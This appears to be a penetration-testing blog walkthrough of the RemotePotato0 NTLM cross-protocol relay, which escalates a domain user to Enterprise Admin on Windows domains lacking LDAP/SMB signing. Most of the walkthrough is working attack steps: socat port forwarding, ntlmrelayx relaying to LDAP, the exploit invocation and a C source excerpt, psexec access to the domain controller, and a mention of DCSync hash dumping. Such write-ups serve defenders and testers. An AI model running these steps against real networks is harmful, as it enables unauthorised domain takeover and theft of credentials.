Remote Potato – From Domain User to Enterprise Admin

NTLM Relaying is an well-known technique that was mainly used in security assessments in order to establish some sort of foothold on a server in the network or used for privilege escalation scenarios. This kind of attack is feasible in networks that have not signing enabled for LDAP and SMB protocols. Furthermore, domain administrators which are authenticating with their elevated accounts into servers and workstations could give the opportunity to attackers for full domain compromise as their credentials could be dumped via LSASS or by using the remote potato technique.

The remote potato is a technique which was discovered by Antonio Cocomazzi and Andrea Pierini which could allow threat actors to elevate their privileges from Domain user to Enterprise Administrator. This technique is performing a cross-protocol relay to implement the NTLM reflection attack and relays the elevated NTLM authentication to the domain controller to achieve privilege escalation. According to the article which describes the technical details this attack is feasible when various conditions are in place:

1. A user with Domain Administrator privileges is physically logged into the host or via Remote Desktop
2. The attacker has gained initial access to the host or has access via WinRM or SSH
3. LDAP and SMB Signing not to be configured

The scenario of WinRM access is not very feasible because even though WinRM is a common protocol for remote management that is by administrators and red teams for lateral movement by default a domain user doesn’t have the permissions to authenticate remotely unless these are explicit set by the administrator. SSH is also not very common for administration of Windows systems and typically when it is used it is for elevated users or user that require some special access to the host.

Get-PSSessionConfiguration

Therefore the applicable scenario of escalation was most likely from local administrator to enterprise administrator compare to generic user to domain administrator as it was first described. The researchers confirmed with an update that there is no need for session 0 (SSH or WinRM access) as the technique works directly from a shell and the only requirement is the session of the domain administrator to exist on the target.

However, in a scenario where a non-elevated user is part of the “Remote Management Users” group this could lead to Enterprise Admin. It should be noted that Domain Administrators might use this group for remote management of resources therefore if this account is compromised and a session of the domain administrator exists on the same system the elevation is feasible.

In environments which they don’t have signing enabled, domain administrators still authenticate directly to workstations to perform various tasks and standard users belong to the remote management users group then these organisations are affected from this technique.

From a non-joined domain system executing the following commands will establish a PowerShell session with the target host.

pwsh
Enter-PSSession -ComputerName 10.0.0.2 -Authentication Negotiate -Credential $(get-credential)

Running the following commands will initially stop any background jobs if they attempt a terminal output and “socat” utility will forward incoming traffic back to the RPC listener.

sudo stty -tostop
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.2:9998 &

Another listener (HTTP) is used that will receive the NTLM authentication and relay it to the domain controller. The domain user “pentestlab” is used for the privilege escalation.

sudo impacket-ntlmrelayx -t ldap://10.0.0.1 --no-wcf-server --escalate-user pentestlab

Execution of the remote potato exploit requires two arguments. The IP address of the host which the authenticated call will be received and the RPC port.

.\RemotePotato0.exe -r 10.0.0.3 -p 9998

In a nutshell the remote potato technique performs the following sequence of events:

1. Initially the COM object with CLSID {5167B42F-C111-47A1-ACC4-8EABE61B0B54} will be called. This particular CLSID is associated with the C:\Windows\System32\easconsent.dll and impersonates the user who is logged in on the host according to the list of CLSID’s.
2. A rogue OxidResolver (service that supports COM and stores the RPC string bindings) is used in order to set up a local RPC server on 127.0.0.1:9998.
3. The authenticated call is received on Kali Linux on port 135 and is forward back to the target host on port 9998.
4. A second authenticated call is performed locally on port 9997 which is relayed back to Kali Linux over HTTP. This call is not signed and targets the LDAP service on the domain controller.
5. Once authentication is initiated the user is added to the Enterprise Admins group.

int wmain(int argc, wchar_t** argv)
{
	int cnt = 1;
	wchar_t defaultRemotePortRelay[] = L"80";
	wchar_t defaultRogueOxidResolverIp[] = L"127.0.0.1";
	wchar_t defaultHTTPCrossProtocolrelayPort[] = L"9997";
	wchar_t defaultClsid[] = L"{5167B42F-C111-47A1-ACC4-8EABE61B0B54}";
	wchar_t* remoteIpRelay = NULL;
	wchar_t* rogueOxidResolverPort = NULL;
	wchar_t* remotePortRelay = defaultRemotePortRelay;
	wchar_t* rogueOxidResolverIp = defaultRogueOxidResolverIp;
	wchar_t* httpCrossProtocolrelayPort = defaultHTTPCrossProtocolrelayPort;
	wchar_t* clsid = defaultClsid;
	while ((argc > 1) && (argv[cnt][0] == '-'))

The NTLM type 3 AUTH message is retrieved and relayed to the domain controller for authentication via LDAP. NTLM type 3 messages contain the client response to the server challenge, the domain, the username and the host.

The target user will be added to the Enterprise Admins groups since the changes on the domain controller will be performed from the perspective of the domain administrator.

Execution of “impacket-psexec” module or any other connection (RDP to the Domain Controller etc.) can verify that the user has obtained elevated privileges. Alternatively since the user has replication privileges on the domain information from the domain such as domain password hashes could be dumped using DCSync as a more stealthier approach.

impacket-psexec 'purple/pentestlab:Password123@10.0.0.1'

Executing “psexec” will create a service on the domain controller which is not considered opsec safe but the service will be created with SYSTEM level privileges.

The pentestlab user is now a member of the Enterprise Admins group.

net user pentestlab

YouTube

References

• https://attack.mitre.org/techniques/T1557/001/
• https://attack.mitre.org/techniques/T1187/
• https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/
• https://github.com/antonioCoco/RemotePotato0